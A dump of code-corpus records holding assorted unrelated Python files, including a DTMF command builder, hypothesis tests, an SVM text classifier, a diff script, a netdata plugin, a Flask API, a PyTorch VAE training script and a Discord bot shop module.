DTMF event to be generated. It can be \n either an integer with values 0-15, or a string \n containing a single character (0 - 9, *, #, A - D).\n kwargs:\n from-tag: string.\n address: string.\n label: string.\n flags: List of Strings. ['all']\n duration: integer (ms)\n volume: integer (dB)\n pause: integer (ms)\n '''\n\n return {\n 'command': 'play-dtmf',\n 'call-id': str(call_id),\n 'code': str(code),\n **kwargs\n }\n\n def statistics(self):\n ''' Returns a set of general statistics metrics. \n '''\n\n return {\n 'command': 'statistics'\n }","sub_path":"client/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":11824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"494564267","text":"from misc.sequences import ArithmeticSequence\n\nfrom itertools import islice\ntry:\n from itertools import imap as map\nexcept ImportError:\n # assume python 3\n pass\n\nfrom hypothesis import given, assume\nfrom hypothesis import strategies as st\n\n\ndef arithmetic_sequences():\n return st.builds(ArithmeticSequence, st.integers(), st.integers())\n\n\n@given(st.integers(), st.integers())\ndef test_arithmetic_sequence_first_element(first, difference):\n assert ArithmeticSequence(first, difference)[0] == first\n\n\n@given(arithmetic_sequences(), st.integers(min_value=0))\ndef test_arithmetic_sequence_difference(sequence, index):\n assert sequence[index+1] - sequence[index] == sequence.difference\n\n\n@given(arithmetic_sequences(), st.integers())\ndef test_arithmetic_sequence_equality(sequence, n):\n from itertools import islice\n\n assume(n != 0)\n\n assert sequence == ArithmeticSequence(sequence[0], sequence.difference)\n assert list(islice(sequence, 1000)) == \\\n list(islice(ArithmeticSequence(sequence[0],\n sequence.difference),\n 1000))\n assert sequence != ArithmeticSequence(sequence[0] + n, sequence.difference)\n assert sequence != ArithmeticSequence(sequence[0], sequence.difference + n)\n\n\n@given(arithmetic_sequences())\ndef test_arithmetic_sequence_iteration(sequence):\n n_elems = 50\n assert list(map(lambda i: sequence[i], range(n_elems))) == \\\n list(islice(sequence, n_elems))\n\n\n@given(arithmetic_sequences())\ndef test_arithmetic_sequence_trivial_slicing(s):\n assert s == s[:]\n assert s == s[0:]\n assert s == s[0::1]\n assert s == s[::1]\n\n\n@given(arithmetic_sequences(),\n st.integers(min_value=0),\n st.integers(min_value=1))\ndef test_arithmetic_sequence_positive_step_slicing(sequence, start, step):\n from itertools import islice\n\n assert list(islice(sequence[start::step], 10)) == \\\n list(islice(islice(sequence, start, None, step), 10))\n","sub_path":"tests/test_sequences.py","file_name":"test_sequences.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"441353885","text":"\nimport task1\nimport logging\nimport argparse\nimport sys\nimport numpy\nfrom sklearn.externals import joblib\nfrom collections import Counter\nfrom sklearn.preprocessing import scale\nfrom sklearn import svm\nfrom sklearn.metrics import classification_report\nfrom sklearn.cross_validation import StratifiedKFold\nfrom sklearn.grid_search import GridSearchCV\n\n\n\ndef countTerm(filename):\n \"\"\"Get top N frequent terms in file\"\"\"\n fp = open(filename,'r')\n terms = []\n for line in fp:\n terms.extend(task1.preprocess(line))\n # count TF, when file is big, can use MapReduce to scale out\n wordcount = Counter(terms)\n return wordcount\n \ndef extractFeature(good,bad,N):\n \"\"\"Extract feature from good and bad data\"\"\"\n good_wc = countTerm(good)\n bad_wc = countTerm(bad)\n good_wc.subtract(bad_wc)\n feature = good_wc.most_common(N)\n # save feature as dictionary for later use\n logger.info('saving feature...')\n joblib.dump(dict(feature), 'feature.pkl')\n logger.info('feature saved as %s' % 'feature.pkl') \n return dict(feature).keys()\n \ndef updateFeature(good,bad=None):\n \"\"\"Load feature from file and update\"\"\"\n global N\n feature_dict = joblib.load('feature.pkl')\n good_wc = countTerm(good)\n newfeature = good_wc + Counter(feature_dict)\n if bad!=None:\n bad_wc = countTerm(bad)\n newfeature = badwc.subtract(Counter(feature_dict))\n newfeature = newfeature.most_common(N)\n # save feature as dictionary for later use\n logger.info('saving feature...')\n joblib.dump(dict(newfeature), 'newfeature.pkl')\n logger.info('feature saved as %s' % 'newfeature.pkl') \n return dict(newfeature).keys() \n\ndef vectorize(filename,features):\n \"\"\"From file generate vector\"\"\"\n corpus = []\n fp = open(filename,'r')\n for line in fp:\n tokens = task1.preprocess(line) \n vector = [0]*len(features)\n for term in tokens:\n if term in features:\n idx = features.index(term)\n vector[idx] += 1 # use TF instead of binary\n corpus.append(vector)\n fp.close()\n return corpus\n\ndef train(good,bad,modelname,feature=None):\n \"\"\"Train classifier from good and bad data\"\"\"\n # extract feature from file if no feature is given\n if feature == None:\n global N\n feature = extractFeature(good,bad,N)\n # log feature \n logger.debug('feature used...')\n logger.debug(feature) \n # generate matrix\n good_vectors = vectorize(good,feature)\n bad_vectors = vectorize(bad,feature)\n train_vector = good_vectors + bad_vectors\n train_label = [1]*len(good_vectors) + [0]*len(bad_vectors)\n train_vector = scale(train_vector) # scaling may be useful with real data\n if len(train_vector) < len(feature):\n logger.warn('# of observations smaller than # of features.')\n # grid search\n C = [2**i for i in range(11)]\n tuned_parameters = [{'kernel': ['rbf'], 'gamma': [1e-3, 1e-4],'C': C},\n {'kernel': ['linear'], 'C': C}]\n clf = GridSearchCV(svm.SVC(C=1), tuned_parameters, cv=5)\n clf.fit(train_vector, train_label)\n # logging grid search result\n logger.info(\"Best parameters set found on training set:\")\n logger.info(clf.best_estimator_)\n logger.debug(\"Grid scores on training set:\")\n for params, mean_score, scores in clf.grid_scores_:\n logger.debug(\"%0.3f (+/-%0.03f) for %r\"\n % (mean_score, mean_score, params))\n classifier = svm.SVC(clf.best_estimator_) \n y_true, y_pred = train_label, clf.best_estimator_.predict(train_vector)\n logger.info(\"Performance on training data:\")\n logger.info(classification_report(y_true, y_pred))\n # save model and feature to file\n logger.info('saving model...')\n joblib.dump(clf.best_estimator_, modelname+'.model.pkl')\n logger.info('model saved as %s' % modelname+'.model.pkl') \n \ndef predict(testfile,modelname,split=False):\n \"\"\"Given model, predict test file\"\"\"\n # load feature and model\n feature_dict = joblib.load('feature.pkl')\n feature = feature_dict.keys()\n clf = joblib.load(modelname+'.model.pkl')\n # vectorize test file\n test_vector = vectorize(testfile,feature)\n # predict \n y_pred = clf.predict(test_vector)\n # write label to file, seperated by newline\n try:\n idx = testfile.rfind('.')\n name = testfile[:idx]\n idx = name.rfind('/')\n name = name[idx+1:]\n except:\n pass\n y_pred.tofile(name+'.predict',sep='\\n')\n #split testfile to good & bad data according to predction\n if split:\n fp = open(testfile,'r') \n fg = open('good_'+name,'w') \n fb = open('bad_'+name,'w')\n looper = 0\n for line in fp:\n if y_pred[looper] == 1.0:\n fg.write(line)\n else:\n fb.write(line)\n looper += 1\n fp.close()\n fg.close()\n fb.close()\n \ndef retrain(modelname,good,bad,useBad=False):\n \"\"\"Add features and re-train the model\"\"\"\n if useBad:\n newfeature = updateFeature(good,bad)\n else:\n newfeature = updateFeature(good)\n train(good,bad,'new.'+modelname,newfeature) \n \nif __name__=='__main__':\n # create logger\n logger = logging.getLogger('task3')\n hdlr = logging.FileHandler('task3.log')\n formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')\n hdlr.setFormatter(formatter)\n logger.addHandler(hdlr) \n logger.setLevel(logging.DEBUG)\n \n good = sys.argv[1]\n bad = sys.argv[2]\n test = sys.argv[3]\n model = sys.argv[4]\n # top N terms are chosen as feature\n N = 15 \n # train with good, bad data\n train(good,bad,model) \n # predict test data\n # By setting split=True, test file will be splited based on prediction \n predict(test,model,split=True) \n # retrain the model based on newly predicted good data and bad data\n retrain(model,'good_test_deals',bad)\n # As can be been from log, re-trained model is improved significantly\n\n","sub_path":"ml/mywork/task3_followup.py","file_name":"task3_followup.py","file_ext":"py","file_size_in_byte":6055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"54827554","text":"import sys\nsyspath = sys.path[0] + \"/\"\n\nargs = sys.argv\n\nargs.pop(0)\n\nhighlightfile_old = syspath + args[0]\nhighlightfile_new = syspath + args[1]\n\nwith open(highlightfile_old) as data:\n original = data.readlines()\n\nwith open(highlightfile_new) as data:\n modified = data.readlines()\n\n\nmatrix = []\n\nfor i in range(len(original) + 1):\n row = []\n for j in range(len(modified) + 1):\n row.append(0)\n matrix.append(row)\n\n\nfor i in range(1, len(original)+1):\n for j in range(1, len(modified)+1):\n if original[i-1] == modified[j-1]:\n matrix[i][j] = matrix[i-1][j-1] + 1\n else:\n if matrix[i][j-1] > matrix[i-1][j]:\n matrix[i][j] = matrix[i][j-1]\n else:\n matrix[i][j] = matrix[i-1][j]\n\nprint(matrix)\n\noutput = open('out.txt','w')\n\ndef print_result(matrix, org, mod, i, j,output):\n\n if i > 0 and j > 0 and org[i-1] == mod[j-1]:\n print_result(matrix, org, mod, i-1, j-1, output)\n if i == len(org):\n output.write(\"0\" + org[i-1] + \"\\n\")\n else:\n output.write(\"0\" + org[i-1])\n\n else:\n if j > 0 and (i == 0 or matrix[i][j-1] >= matrix[i-1][j]):\n print_result(matrix, org, mod, i, j-1, output)\n if j == len(mod):\n output.write(\"+\" + mod[j-1] + \"\\n\")\n else:\n output.write(\"+\" + mod[j-1])\n\n\n elif i > 0 and (j == 0 or matrix[i][j-1] < matrix[i-1][j]):\n print_result(matrix, org, mod, i-1, j, output)\n if i == len(org):\n output.write(\"-\" + org[i-1] + \"\\n\")\n else:\n output.write(\"-\" + org[i-1])\n\nprint_result(matrix, original, modified, len(original), len(modified), output)\n\noutput.close()","sub_path":"Assignment5/5.5/my_diff2.py","file_name":"my_diff2.py","file_ext":"py","file_size_in_byte":1790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"106949267","text":"import setuptools\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"async-gsm-modem\",\n version=\"0.1.2\",\n author=\"sinusoidal\",\n author_email=\"\",\n description=\"An async GSM modem driver library\",\n keywords=['gsm','modem','asyncio','async','lte','sms','text','usb','serial','phone','mobile','messaging'],\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/Sinusoidal36/async-gsm-modem\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=3.6',\n install_requires=['pyserial-asyncio', 'smspdudecoder','pydantic']\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"330466001","text":"# -*- coding: utf-8 -*-\n# Description: example netdata python.d module\n# Author: Panagiotis Papaioannou (papajohn-uop)\n# SPDX-License-Identifier: GPL-3.0-or-later\n\n\nfrom bases.FrameworkServices.SimpleService import SimpleService\n\n\n#those two imports are required to connect thous websockets\nimport websocket\nfrom websocket import create_connection\n\n#we tranform the result into json for easier manipulation\nimport json\n#debug\nfrom pprint import pprint\nimport random\n\t\n\nNETDATA_UPDATE_EVERY=1\npriority = 90000\n\n\nORDER = [\n 'temp_current',\n 'temp_stats',\n 'humid_current'\n]\n\nCHARTS = {\n 'temp_current': {\n# 'options': [None, 'Title', 'units', 'family', 'context', 'line'],\n 'options': ['my_temp', 'Temperature', 'Celsius', 'TEMP', 'weather_station', 'line'],\n 'lines': [\n ['current_temperature']\n ]\n },\n 'temp_stats': {\n 'options': ['stats_temp', 'Temperature', 'Celsius', 'TEMP', 'weather_station', 'line'],\n 'lines': [\n ['min_temperature'],\n ['max_temperature'],\n ['avg_temperature']\n ]\n },\n 'humid_current': {\n 'options': ['my_humid', 'Humidity', '%', 'HUMIDITY', 'weather_station', 'line'],\n 'lines': [\n ['current_humidity']\n ]\n }\n\n}\n\nclass Service(SimpleService):\n def __init__(self, configuration=None, name=None):\n SimpleService.__init__(self, configuration=configuration, name=name)\n self.order = ORDER\n self.definitions = CHARTS\n #values to show at graphs\n self.values=dict()\n\n\t\n @staticmethod\n def check():\n return True\n\n weather_data=dict()\n weather_metrics=[\n\t\t \"temp\",\"av_temp\",\"min_temp\",\"max_temp\", \n\t\t \"humid\",\"av_humid\",\"min_humid\",\"max_humid\", \n\t\t \"pressure\",\"av_pressure\",\"min_pressure\",\"max_pressure\", \n\t\t ]\n \n def logMe(self,msg):\n self.debug(msg)\n\t\n\n def populate_data(self):\n for metric in self.weather_metrics:\n self.weather_data[metric]=random.randint(0,100)\n \n\n def get_data(self):\n #The data dict is basically all the values to be represented\n # The entries are in the format: { \"dimension\": value}\n #And each \"dimension\" shoudl belong to a chart.\n data = dict()\n \n self.populate_data()\n \n \n data['current_temperature'] = self.weather_data[\"temp\"]\n data['min_temperature']=self.weather_data[\"min_temp\"]\n data['max_temperature']=self.weather_data[\"max_temp\"]\n data['avg_temperature']=self.weather_data[\"av_temp\"]\n \n data['current_humidity']=self.weather_data[\"humid\"]\n return data\n","sub_path":"howto_basic_3.chart.py","file_name":"howto_basic_3.chart.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"447004166","text":"#!/usr/bin/python3\n\"\"\"State Class\"\"\"\n\nfrom models import storage\nfrom api.v1.views import app_views\nfrom flask import Flask, abort, make_response, jsonify, request\nfrom os import getenv\nfrom models.state import State\n\n\n@app_views.route('/states', methods=['GET'], strict_slashes=False)\ndef get_state():\n \"\"\"retrieve state list (var = st_list) from json\"\"\"\n st_list = [obj.to_dict() for obj in storage.all('State').values()]\n return jsonify(st_list)\n\n\n@app_views.route('/states/', methods=['GET'], strict_slashes=False)\ndef get_stateId(state_id):\n \"\"\"retrieve state objects with id\"\"\"\n state = storage.get('State', state_id)\n if state is None:\n abort(404)\n return jsonify(state.to_dict())\n\n\n@app_views.route('/states/', methods=['DELETE'],\n strict_slashes=False)\ndef del_stateId(state_id):\n \"\"\"delete state object if given state id\"\"\"\n state = storage.get('State', state_id)\n if state is None:\n abort(404)\n state.delete()\n storage.save()\n return jsonify({}), 200\n\n\n@app_views.route('/states', methods=['POST'], strict_slashes=False)\ndef create_state():\n \"\"\"create a dict from HTTP body request\"\"\"\n \"\"\"new state object\"\"\"\n if not request.get_json():\n return jsonify({\"error\": \"Not a JSON\"}), 400\n if 'name' not in request.get_json():\n return jsonify({\"error\": \"Missing name\"}), 400\n object_data = request.get_json()\n object = State(**object_data)\n object.save()\n return jsonify(object.to_dict()), 201\n\n\n@app_views.route('/states/', methods=['PUT'], strict_slashes=False)\ndef update_state(state_id):\n \"\"\"update state obj with key value pair\"\"\"\n if not request.get_json():\n return jsonify({\"error\": \"Not a JSON\"}), 400\n object = storage.get('State', state_id)\n if object is None:\n abort(404)\n object_data = request.get_json()\n object.name = object_data['name']\n object.save()\n return jsonify(object.to_dict()), 200\n","sub_path":"api/v1/views/states.py","file_name":"states.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"174663938","text":"import sys\r\nfin2 = 'WordExamples.txt'\r\nfout = sys.stdout\r\n \r\nimport sim\r\nwordLists = [\r\n [sys.argv[1].decode('utf-8')],\r\n [line.strip(\"\\r\\n\").strip(\"\\n\").decode('utf-8') for line in open(fin2)]\r\n]\r\nsynLists = sim.convWords2Synsets(wordLists[0], wordLists[1])\r\nsimMatrix = sim.calcSim(synLists[0], synLists[1])\r\nsim.writeSim(wordLists[0],wordLists[1],simMatrix,fout)\r\n","sub_path":"jwn_driver.py","file_name":"jwn_driver.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"524638360","text":"# coding:utf-8\n'''\n@Copyright:LintCode\n@Author: justice_103\n@Problem: http://www.lintcode.com/problem/best-time-to-buy-and-sell-stock\n@Language: Python\n@Datetime: 15-07-26 00:15\n'''\n\nclass Solution:\n \"\"\"\n @param prices: Given an integer array\n @return: Maximum profit\n \"\"\"\n def maxProfit(self, prices):\n # write your code here\n if len(prices)<1:\n return 0\n \n max_profit=0\n min_price=prices[0]\n for p in prices:\n max_profit=max(max_profit, p-min_price)\n min_price=min(min_price, p)\n \n return max_profit\n","sub_path":"lintcode/149_best-time-to-buy-and-sell-stock/best-time-to-buy-and-sell-stock.py","file_name":"best-time-to-buy-and-sell-stock.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"148522985","text":"import torch\nimport torch.nn as nn\nfrom torch.utils.data import TensorDataset, DataLoader\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom src.utils import *\nfrom src.models import *\nfrom src.trainfunctions import *\nimport pickle\n\n#load data\nwith open('data/smalldata.pickle', 'rb') as f:\n dataset = pickle.load(f)\n\nwith open('data/smalldata_validation.pickle', 'rb') as f:\n val_dataset = pickle.load(f)\n\nwith open('data/smalldata_outlier.pickle', 'rb') as f:\n out_dataset = pickle.load(f)\n\nx_train = dataset['data']\nx_val = val_dataset['data']\nx_out = torch.Tensor(out_dataset['data'])\noutlier = torch.Tensor(out_dataset['outlier'])\n\ndataset_torch = torch.utils.data.TensorDataset(x_train)\ndset_torch_val = torch.utils.data.TensorDataset(x_val)\n#dset_torch_out = torch.utils.data.TensorDataset(x_out, outlier) \nbatch_size = 32\ntrain_loader = torch.utils.data.DataLoader(dataset_torch, batch_size, shuffle=True)\nval_loader = torch.utils.data.DataLoader(dset_torch_val, batch_size, shuffle=True)\n#out_loader = torch.utils.data.DataLoader(dset_torch_out, batch_size, shuffle=True)\n\n#initialize pseudo inputs\nn_pseudo = 10\nrandom_idx = np.random.choice(range(len(x_train)), size = n_pseudo, replace = False)\nrandom_sample = x_train[random_idx,:,:]\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\nlatent_dims = [1, 2, 4, 8, 12, 20, 30, 40, 50, 60, 70, 80, 90, 100, 150, 200, 250, 300]\n\noutput = dict()\nruns = 1\nepochs = 500\n\nlatent_dim_stand = 20\nlatent_dim_vamp = 8\nval_stand = np.zeros(runs)\nval_vamp = np.zeros(runs)\naucs_stand = np.zeros((runs, 5))\naucs_vamp = np.zeros((runs, 5))\nfinal_stand = np.zeros(runs)\nfinal_vamp = np.zeros(runs)\n\nfor run in range(runs):\n model_vamp = VAE(latent_dim_vamp, input_shape = (5, 5, 10), hidden_dim = [32, 64, 64, 128], data_sample = random_sample, data_init = True, device = device, n_pseudo = n_pseudo).to(device)\n optimizer_vamp = optim.Adam(model_vamp.parameters(), lr = 1e-4)\n\n model_stand = VAE(latent_dim_stand, input_shape = (5, 5, 10), hidden_dim = [32, 64, 64, 128], data_sample = random_sample, data_init = False, device = device, n_pseudo = n_pseudo).to(device)\n optimizer_stand = optim.Adam(model_stand.parameters(), lr = 1e-4)\n\n models, final_loss = train_models([model_stand, model_vamp], [optimizer_stand, optimizer_vamp], device, epochs, ['standard', 'vampprior'], train_loader)\n\n #get validation loss\n stand_elbo = 0\n vamp_elbo = 0\n for i, x in enumerate(val_loader):\n loss, recon, kl = models[1].elbo_standard(x[0].float().to(device), beta = 1, training = False, prior = 'vampprior')\n vamp_elbo += loss.detach().cpu()\n\n loss, recon, kl = models[0].elbo_standard(x[0].float().to(device), beta = 1, training = False, prior = 'standard')\n stand_elbo += loss.detach().cpu()\n\n val_stand[run] = stand_elbo/(i+1)\n val_vamp[run] = vamp_elbo/(i+1)\n \n final_stand[run] = final_loss[0]\n final_vamp[run] = final_loss[1]\n\n aucs_vamp[run,:] = get_outliers(models[1], x_out.to(device), 'vampprior', outlier)\n aucs_stand[run,:] = get_outliers(models[0], x_out.to(device), 'standard', outlier)\n\noutput = {'validation_loss': [np.mean(val_stand), np.mean(val_vamp)],\n 'aucs': [aucs_stand, aucs_vamp],\n 'final_loss': [np.mean(final_stand), np.mean(final_vamp)]}\n\ntorch.save(models[0].state_dict(), 'outputs/model_stand.pt')\ntorch.save(models[1].state_dict(), 'outputs/model_vamp.pt')\n\nwith open('outputs/output_final_run.pickle', 'wb') as f:\n pickle.dump(output, f)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"570004933","text":"t = int(input().strip())\n\nfor i in range(t):\n n = int(input().strip())\n ls = [int(temp) for temp in input().strip().split(' ')]\n runSum = maxSum = ls[0]\n start = finish = 0\n i = 0\n\n nonContiguousSum = 0\n if(ls[0]>0): nonContiguousSum += ls[0]\n for j in range(1, len(ls)):\n if (ls[j] > (runSum + ls[j])):\n runSum = ls[j]\n i = j\n else:\n runSum += ls[j]\n\n if (runSum > maxSum):\n maxSum = runSum\n finish = j\n start = i\n\n if(ls[j]>0): nonContiguousSum += ls[j]\n\n if(max(ls)<0): nonContiguousSum = max(ls)\n print(maxSum,nonContiguousSum)","sub_path":"Dynamic Programming/theMaximumSubarray.py","file_name":"theMaximumSubarray.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"50558952","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.utils.timezone import utc\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('tournament', '0016_auto_20150421_1710'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='tournament',\n name='created_at',\n field=models.DateTimeField(default=datetime.datetime(2015, 4, 23, 17, 15, 14, 936861, tzinfo=utc), auto_now_add=True),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='tournament',\n name='region',\n field=models.CharField(default='Europe', max_length=30),\n preserve_default=False,\n ),\n ]\n","sub_path":"tournament/migrations/0017_auto_20150423_1715.py","file_name":"0017_auto_20150423_1715.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"35620793","text":"# https://codility.com/programmers/task/min_perimeter_rectangle/\n# 100% https://codility.com/demo/results/training6EMBYU-WDH/\n\ndef get_divs(n):\n i = 1\n divs = set()\n while (i * i < n):\n if (n % i == 0):\n divs.add(i)\n divs.add(n / i)\n i += 1\n if (i * i == n):\n divs.add(i)\n return sorted(list(divs))\n\n\ndef solution(N):\n divs = get_divs(N)\n A = divs[len(divs) / 2]\n B = N / A\n return 2 * (A + B)\n\nassert solution(30) == 22\n","sub_path":"10 Prime and composites/MinPerimeterRectangle.py","file_name":"MinPerimeterRectangle.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"84401380","text":"import discord\r\nfrom discord.ext import commands\r\nfrom database import Database\r\nfrom bot import send_message, hex_to_rgb\r\nimport Errors\r\nfrom inspect import Parameter\r\n\r\nitems = [\"myrole\", \"doblerole\", \"rolecolor\", \"rolename\", \"suprole\"]\r\n\r\nprices = {\r\n 0 : 10000,\r\n 1 : 15000,\r\n 2 : 1000,\r\n 3 : 1000,\r\n 4 : \"?\",\r\n}\r\n\r\nshop_json = [\r\n {\r\n 'name' : 'Личная роль на сервере ',\r\n 'value' : '`buy myrole \"[название]\" [цвет в hex]`'\r\n },\r\n {\r\n 'name' : 'Парная роль на сервере ',\r\n 'value' : '`buy doblerole \"[название]\" [цвет в hex] [@партнёр]`'\r\n },\r\n {\r\n 'name' : 'Изменить цвет роли ',\r\n 'value' : '`buy rolecolor [@роль] [цвет в hex]`'\r\n },\r\n {\r\n 'name' : 'Изменить название роли ',\r\n 'value' : '`buy rolename [@роль] \"[название]\"`'\r\n },\r\n {\r\n 'name' : 'Купить роль из доступных ',\r\n 'value' : '`shop roles`'\r\n },\r\n]\r\n\r\ncool_roles = [\r\n {\r\n 'role' : 813046011269218364,\r\n 'cost' : 100000\r\n },\r\n {\r\n 'role' : 813047141437800489,\r\n 'cost' : 50000\r\n },\r\n {\r\n 'role' : 813048088746131476,\r\n 'cost' : 20000\r\n }\r\n]\r\n\r\nclass Shop(Database, commands.Cog):\r\n\r\n def __init__(self, Bot):\r\n super(Shop, self).__init__('main')\r\n self.Bot = Bot\r\n \r\n @commands.Cog.listener()\r\n async def on_ready(self):\r\n self.guild = self.Bot.get_guild(453565320708489226)\r\n\r\n @commands.command(aliases = ['sho', 'store'])\r\n async def shop(self, ctx, arg = None):\r\n member = self.get_user(ctx.author.id)\r\n member_roles = len(member['inventory']) + len(member['custom_roles'])\r\n modifier = (2 * member_roles) if member_roles != 0 else 1\r\n embed = discord.Embed(\r\n color = discord.Colour.dark_theme()\r\n )\r\n embed.set_author(name = 'Texno_hub shop!', icon_url = 'http://s1.iconbird.com/ico/2014/1/606/w512h5121390848250shop512.png')\r\n if arg is None:\r\n for param in shop_json:\r\n embed.add_field(name = param['name'] + f\"`{str(prices[shop_json.index(param, 0, 6)] * modifier if prices[shop_json.index(param, 0, 6)] != 1000 else 1000) + '$' if shop_json.index(param, 0, 6) != 4 else '?'}`\", value = param['value'], inline = False)\r\n await ctx.send(embed = embed)\r\n elif arg == \"roles\":\r\n roles = cool_roles\r\n i = 1\r\n for role in roles:\r\n embed.add_field(name = f\"{i}. {self.guild.get_role(role['role']).name} Цена - `{role['cost']}$`\", value = f\"`buy suprole {i}`\", inline = False)\r\n i += 1\r\n await ctx.send(embed = embed)\r\n else:\r\n raise Errors.InvalidItemError\r\n \r\n async def check_wallet(self, member_id, value):\r\n user = self.get_user(member_id)\r\n return True if int(user['money']) / value >= 1 else value - int(user['money'])\r\n \r\n async def pay(self, member_id, value):\r\n can_pay = await self.check_wallet(member_id, value)\r\n if can_pay is True:\r\n result = self.update_user(member_id, 'inc', money = -value)\r\n return result\r\n else:\r\n raise Errors.NotEnoughMoneyError(can_pay)\r\n \r\n async def check_name(self, name : str):\r\n if name is None:\r\n raise Errors.InvalidNameError\r\n elif not 3 < len(name) < 17 or not discord.utils.get(self.guild.roles, name = name) is None:\r\n raise Errors.InvalidNameError\r\n return name\r\n \r\n async def check_color(self, color : str):\r\n try:\r\n color = await hex_to_rgb(color)\r\n except:\r\n raise Errors.InvalidColorError\r\n else:\r\n return color\r\n\r\n async def getRoleFromMention(self, mention):\r\n try:\r\n id_ = int(mention[3:-1])\r\n except:\r\n raise Errors.HasNoRequiredRole\r\n return discord.utils.get(self.guild.roles, id = id_)\r\n\r\n async def isCustomRole(self, member_id, role_id):\r\n if role_id in self.get_user(member_id)['custom_roles']:\r\n return True\r\n return False\r\n\r\n async def parse_param(self, param):\r\n if param == \"all\":\r\n return param\r\n try:\r\n param = int(param)\r\n except:\r\n raise Errors.InvalidItemError\r\n else:\r\n return int(param)\r\n \r\n @commands.command(aliases = ['bay'])\r\n async def buy(self, ctx, item = None, param1 = None, param2 = None, member2 : discord.Member = None):\r\n member = ctx.author\r\n user = self.get_user(ctx.author.id)\r\n user_roles = len(user['inventory']) + len(user['custom_roles'])\r\n modifier = (2 * user_roles) if user_roles != 0 else 1\r\n if not item in items:\r\n raise Errors.InvalidItemError\r\n elif item in (items[:2]):\r\n cash = 10000 * modifier\r\n name = await self.check_name(param1)\r\n color = await self.check_color(param2)\r\n role = await self.guild.create_role(name = name, colour = discord.Colour.from_rgb(color[0], color[1], color[2]), mentionable = True, reason = f\"The {member.name} has bought the role\")\r\n if item == \"doblerole\":\r\n cash = 15000 * modifier\r\n if not member2:\r\n await role.delete()\r\n raise Errors.InvalidFriendError\r\n self.update_user(member2.id, mode = 'push', inventory = role.id)\r\n try:\r\n await self.pay(member.id, cash)\r\n except Errors.NotEnoughMoneyError:\r\n await role.delete()\r\n else:\r\n await member.add_roles(role)\r\n self.update_user(member.id, 'push', custom_roles = role.id)\r\n await send_message(ctx.channel, f\"вы купили роль {role.name}!\")\r\n if not member2 is None:\r\n await send_message(ctx.channel, f\"Чтобы получить роль, {member2.name} должен написать `inventory take [id предмета]` или `inventory take all`\")\r\n \r\n elif item in(items[2:4]):\r\n role = await self.getRoleFromMention(param1)\r\n if role in member.roles and await self.isCustomRole(member.id, role.id):\r\n cash = 1000\r\n if item == \"rolecolor\":\r\n color = await self.check_color(param2)\r\n await self.pay(member.id, cash)\r\n try:\r\n await role.edit(colour = discord.Colour.from_rgb(color[0], color[1], color[2]))\r\n except:\r\n self.update_user(member.id, 'inc', money = cash)\r\n await send_message(ctx.channel, \"Невозможно обновить роль\")\r\n return\r\n message = \"цвет\"\r\n elif item == \"rolename\":\r\n name = await self.check_name(param2)\r\n await self.pay(member.id, cash)\r\n try:\r\n await role.edit(name = name)\r\n except:\r\n self.update_user(member.id, 'inc', money = cash)\r\n await send_message(ctx.channel, \"Невозможно обновить роль\")\r\n return\r\n message = \"имя\"\r\n await send_message(ctx.channel, f\"Вы успешно обновили {message} роли\")\r\n else:\r\n raise Errors.HasNoRequiredRole\r\n elif item in items[4:]:\r\n if not param1 is None:\r\n try:\r\n param1 = int(param1)\r\n except:\r\n raise Errors.InvalidItemError\r\n else:\r\n if param1 in range(1, len(cool_roles) + 1):\r\n param1 -= 1\r\n srole = cool_roles[param1]\r\n role = self.guild.get_role(srole['role'])\r\n if role in member.roles:\r\n raise Errors.InvalidRoleError\r\n await self.pay(member.id, srole['cost'])\r\n await member.add_roles(role, reason = f'{member.name} купил роль!')\r\n self.update_user(member.id, 'push', custom_roles = role.id)\r\n else:\r\n raise Errors.InvalidItemError\r\n await send_message(ctx.channel, f\"Вы купили роль {role.name}!\")\r\n else:\r\n raise Errors.InvalidItemError\r\n \r\n\r\n 